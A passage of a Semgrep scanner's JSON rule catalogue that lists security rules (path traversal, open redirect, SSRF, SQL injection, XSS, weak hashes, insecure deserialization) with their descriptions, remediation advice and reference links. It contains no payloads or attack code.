files."},"helpUri":"https://semgrep.dev/r/rust.hyper.path-traversal.tainted-path.tainted-path","id":"rust.hyper.path-traversal.tainted-path.tainted-path","name":"rust.hyper.path-traversal.tainted-path.tainted-path","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: rust.hyper.path-traversal.tainted-path.tainted-path"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application redirects to a URL specified by user-supplied input `$REQ` that is not validated. This could redirect users to malicious locations. Consider using an allow-list approach to validate URLs, or warn users they are being redirected to a third-party website."},"help":{"markdown":"The application redirects to a URL specified by user-supplied input `$REQ` that is not validated. This could redirect users to malicious locations. Consider using an allow-list approach to validate URLs, or warn users they are being redirected to a third-party website.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-open-redirect.express-open-redirect)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n","text":"The application redirects to a URL specified by user-supplied input `$REQ` that is not validated. This could redirect users to malicious locations. Consider using an allow-list approach to validate URLs, or warn users they are being redirected to a third-party website."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-open-redirect.express-open-redirect","id":"javascript.express.security.audit.express-open-redirect.express-open-redirect","name":"javascript.express.security.audit.express-open-redirect.express-open-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-open-redirect.express-open-redirect"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Downcasting or changing sign of an integer with `$CAST_METHOD` method"},"help":{"markdown":"Downcasting or changing sign of an integer with `$CAST_METHOD` method\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.string-to-int-signedness-cast.string-to-int-signedness-cast)\n - [https://github.com/golang/go/issues/30209](https://github.com/golang/go/issues/30209)\n","text":"Downcasting or changing sign of an integer with `$CAST_METHOD` method"},"helpUri":"https://semgrep.dev/r/trailofbits.go.string-to-int-signedness-cast.string-to-int-signedness-cast","id":"trailofbits.go.string-to-int-signedness-cast.string-to-int-signedness-cast","name":"trailofbits.go.string-to-int-signedness-cast.string-to-int-signedness-cast","properties":{"precision":"very-high","tags":["CWE-681: Incorrect Conversion between Numeric Types","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.string-to-int-signedness-cast.string-to-int-signedness-cast"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"`$SINK_VAR` has previously been deleted which will trigger a double-free vulnerability. This may lead to memory corruption."},"help":{"markdown":"`$SINK_VAR` has previously been deleted which will trigger a double-free vulnerability. This may lead to memory corruption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.memory.deallocation.double-delete.double-delete)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/MEM50-CPP.+Do+not+access+freed+memory](https://wiki.sei.cmu.edu/confluence/display/cplusplus/MEM50-CPP.+Do+not+access+freed+memory)\n","text":"`$SINK_VAR` has previously been deleted which will trigger a double-free vulnerability. This may lead to memory corruption."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.memory.deallocation.double-delete.double-delete","id":"cpp.lang.security.memory.deallocation.double-delete.double-delete","name":"cpp.lang.security.memory.deallocation.double-delete.double-delete","properties":{"precision":"very-high","tags":["CWE-415: Double Free","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.memory.deallocation.double-delete.double-delete"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.system.directoryentry-hardcoded-secret.directoryentry-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.system.directoryentry-hardcoded-secret.directoryentry-hardcoded-secret","id":"csharp.lang.security.system.directoryentry-hardcoded-secret.directoryentry-hardcoded-secret","name":"csharp.lang.security.system.directoryentry-hardcoded-secret.directoryentry-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.system.directoryentry-hardcoded-secret.directoryentry-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for attempts to connect to an insecure telnet server using the package telnet. This is bad because it can lead to man in the middle attacks."},"help":{"markdown":"Checks for attempts to connect to an insecure telnet server using the package telnet. This is bad because it can lead to man in the middle attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.telnet-request.telnet-request)\n - [https://godoc.org/github.com/reiver/go-telnet](https://godoc.org/github.com/reiver/go-telnet)\n","text":"Checks for attempts to connect to an insecure telnet server using the package telnet. This is bad because it can lead to man in the middle attacks."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.telnet-request.telnet-request","id":"problem-based-packs.insecure-transport.go-stdlib.telnet-request.telnet-request","name":"problem-based-packs.insecure-transport.go-stdlib.telnet-request.telnet-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.telnet-request.telnet-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the use of `$METHOD(\"$VALUE\")` which is considered a weak cryptographic mode. Where possible, leverage the industry standard recommendation which is to use a block cipher such as `AES` with at least `128-bit` strength, an example of a secure algorithm is `AES-256-GCM`. If your company has its own guidelines, you should follow your company's internal best practices."},"help":{"markdown":"Detected the use of `$METHOD(\"$VALUE\")` which is considered a weak cryptographic mode. Where possible, leverage the industry standard recommendation which is to use a block cipher such as `AES` with at least `128-bit` strength, an example of a secure algorithm is `AES-256-GCM`. If your company has its own guidelines, you should follow your company's internal best practices.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.crypto.weak-symmetric-mode.weak-symmetric-mode)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected the use of `$METHOD(\"$VALUE\")` which is considered a weak cryptographic mode. Where possible, leverage the industry standard recommendation which is to use a block cipher such as `AES` with at least `128-bit` strength, an example of a secure algorithm is `AES-256-GCM`. If your company has its own guidelines, you should follow your company's internal best practices."},"helpUri":"https://semgrep.dev/r/javascript.crypto.weak-symmetric-mode.weak-symmetric-mode","id":"javascript.crypto.weak-symmetric-mode.weak-symmetric-mode","name":"javascript.crypto.weak-symmetric-mode.weak-symmetric-mode","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.crypto.weak-symmetric-mode.weak-symmetric-mode"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"AWS AppSync GraphQL Key detected"},"help":{"markdown":"AWS AppSync GraphQL Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-aws-appsync-graphql-key.detected-aws-appsync-graphql-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"AWS AppSync GraphQL Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-aws-appsync-graphql-key.detected-aws-appsync-graphql-key","id":"generic.secrets.security.detected-aws-appsync-graphql-key.detected-aws-appsync-graphql-key","name":"generic.secrets.security.detected-aws-appsync-graphql-key.detected-aws-appsync-graphql-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-aws-appsync-graphql-key.detected-aws-appsync-graphql-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, hardcode the correct host, or ensure that the user data can only affect the path or parameters."},"help":{"markdown":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, hardcode the correct host, or ensure that the user data can only affect the path or parameters.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.injection.tainted-url-host.tainted-url-host)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, hardcode the correct host, or ensure that the user data can only affect the path or parameters."},"helpUri":"https://semgrep.dev/r/java.spring.security.injection.tainted-url-host.tainted-url-host","id":"java.spring.security.injection.tainted-url-host.tainted-url-host","name":"java.spring.security.injection.tainted-url-host.tainted-url-host","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.injection.tainted-url-host.tainted-url-host"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"ERC677 callAfterTransfer() reentrancy"},"help":{"markdown":"ERC677 callAfterTransfer() reentrancy\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.erc677-reentrancy.erc677-reentrancy)\n - [https://twitter.com/peckshield/status/1509431646818234369](https://twitter.com/peckshield/status/1509431646818234369)\n - [https://twitter.com/blocksecteam/status/1509466576848064512](https://twitter.com/blocksecteam/status/1509466576848064512)\n - [https://explorer.fuse.io/address/0x139Eb08579eec664d461f0B754c1F8B569044611](https://explorer.fuse.io/address/0x139Eb08579eec664d461f0B754c1F8B569044611)\n - [https://explorer.fuse.io/address/0x5De15b5543c178C111915d6B8ae929Af01a8cC58](https://explorer.fuse.io/address/0x5De15b5543c178C111915d6B8ae929Af01a8cC58)\n","text":"ERC677 callAfterTransfer() reentrancy"},"helpUri":"https://semgrep.dev/r/solidity.security.erc677-reentrancy.erc677-reentrancy","id":"solidity.security.erc677-reentrancy.erc677-reentrancy","name":"solidity.security.erc677-reentrancy.erc677-reentrancy","properties":{"precision":"very-high","tags":["CWE-841: Improper Enforcement of Behavioral Workflow","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.erc677-reentrancy.erc677-reentrancy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"help":{"markdown":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1)\n - [https://cryptography.io/en/latest/hazmat/primitives/cryptographic-hashes/#sha-1](https://cryptography.io/en/latest/hazmat/primitives/cryptographic-hashes/#sha-1)\n - [https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html](https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html)\n - [https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability)\n - [http://2012.sharcs.org/slides/stevens.pdf](http://2012.sharcs.org/slides/stevens.pdf)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n","text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1","id":"python.cryptography.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1","name":"python.cryptography.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a request with potential user-input going into a OutputStream or Writer object. This bypasses any view or template environments, including HTML escaping, which may expose this application to cross-site scripting (XSS) vulnerabilities. Consider using a view technology such as JavaServer Faces (JSFs) which automatically escapes HTML views."},"help":{"markdown":"Detected a request with potential user-input going into a OutputStream or Writer object. This bypasses any view or template environments, including HTML escaping, which may expose this application to cross-site scripting (XSS) vulnerabilities. Consider using a view technology such as JavaServer Faces (JSFs) which automatically escapes HTML views.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xss.no-direct-response-writer.no-direct-response-writer)\n - [https://www3.ntu.edu.sg/home/ehchua/programming/java/JavaServerFaces.html](https://www3.ntu.edu.sg/home/ehchua/programming/java/JavaServerFaces.html)\n","text":"Detected a request with potential user-input going into a OutputStream or Writer object. This bypasses any view or template environments, including HTML escaping, which may expose this application to cross-site scripting (XSS) vulnerabilities. Consider using a view technology such as JavaServer Faces (JSFs) which automatically escapes HTML views."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xss.no-direct-response-writer.no-direct-response-writer","id":"java.lang.security.audit.xss.no-direct-response-writer.no-direct-response-writer","name":"java.lang.security.audit.xss.no-direct-response-writer.no-direct-response-writer","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xss.no-direct-response-writer.no-direct-response-writer"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"help":{"markdown":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insecure-hash-algorithms-md5.insecure-hash-algorithm-md5)\n - [https://cryptography.io/en/latest/hazmat/primitives/cryptographic-hashes/#md5](https://cryptography.io/en/latest/hazmat/primitives/cryptographic-hashes/#md5)\n - [https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html](https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html)\n - [https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability)\n - [http://2012.sharcs.org/slides/stevens.pdf](http://2012.sharcs.org/slides/stevens.pdf)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n","text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insecure-hash-algorithms-md5.insecure-hash-algorithm-md5","id":"python.cryptography.security.insecure-hash-algorithms-md5.insecure-hash-algorithm-md5","name":"python.cryptography.security.insecure-hash-algorithms-md5.insecure-hash-algorithm-md5","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insecure-hash-algorithms-md5.insecure-hash-algorithm-md5"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Semgrep could not determine that the argument to 'template.HTML()' is a constant. 'template.HTML()' and similar does not escape contents. Be absolutely sure there is no user-controlled data in this template. If user data can reach this template, you may have a XSS vulnerability. Instead, do not use this function and use 'template.Execute()'."},"help":{"markdown":"Semgrep could not determine that the argument to 'template.HTML()' is a constant. 'template.HTML()' and similar does not escape contents. Be absolutely sure there is no user-controlled data in this template. If user data can reach this template, you may have a XSS vulnerability. Instead, do not use this function and use 'template.Execute()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.xss.template-html-does-not-escape.unsafe-template-type)\n - [https://golang.org/pkg/html/template/#HTML](https://golang.org/pkg/html/template/#HTML)\n - [https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/vulnerability/xss/xss.go#L33](https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/vulnerability/xss/xss.go#L33)\n","text":"Semgrep could not determine that the argument to 'template.HTML()' is a constant. 'template.HTML()' and similar does not escape contents. Be absolutely sure there is no user-controlled data in this template. If user data can reach this template, you may have a XSS vulnerability. Instead, do not use this function and use 'template.Execute()'."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.xss.template-html-does-not-escape.unsafe-template-type","id":"go.lang.security.audit.xss.template-html-does-not-escape.unsafe-template-type","name":"go.lang.security.audit.xss.template-html-does-not-escape.unsafe-template-type","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.xss.template-html-does-not-escape.unsafe-template-type"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-pandas-hdf-pyramid.tainted-pandas-hdf-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html](https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-pandas-hdf-pyramid.tainted-pandas-hdf-pyramid","id":"python.pyramid.deserialization.tainted-pandas-hdf-pyramid.tainted-pandas-hdf-pyramid","name":"python.pyramid.deserialization.tainted-pandas-hdf-pyramid.tainted-pandas-hdf-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-pandas-hdf-pyramid.tainted-pandas-hdf-pyramid"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. The driver API has the ability to bind parameters to the query in a safe way. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. The driver API has the ability to bind parameters to the query in a safe way. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.generic-sql-flask.generic-sql-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. The driver API has the ability to bind parameters to the query in a safe way. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"helpUri":"https://semgrep.dev/r/python.flask.db.generic-sql-flask.generic-sql-flask","id":"python.flask.db.generic-sql-flask.generic-sql-flask","name":"python.flask.db.generic-sql-flask.generic-sql-flask","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.generic-sql-flask.generic-sql-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 1.3M iterations should be used with SHA1"},"help":{"markdown":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 1.3M iterations should be used with SHA1\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insufficient-pbkdf2-work-factor-sha1.insufficient-pbkdf2-work-factor-sha1)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n - [https://pages.nist.gov/800-63-3/sp800-63b.html#sec5](https://pages.nist.gov/800-63-3/sp800-63b.html#sec5)\n","text":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 1.3M iterations should be used with SHA1"},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insufficient-pbkdf2-work-factor-sha1.insufficient-pbkdf2-work-factor-sha1","id":"swift.commoncrypto.insufficient-pbkdf2-work-factor-sha1.insufficient-pbkdf2-work-factor-sha1","name":"swift.commoncrypto.insufficient-pbkdf2-work-factor-sha1.insufficient-pbkdf2-work-factor-sha1","properties":{"precision":"very-high","tags":["CWE-916: Use of Password Hash With Insufficient Computational Effort","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insufficient-pbkdf2-work-factor-sha1.insufficient-pbkdf2-work-factor-sha1"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-dill-pyramid.tainted-dill-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pypi.org/project/dill/](https://pypi.org/project/dill/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from 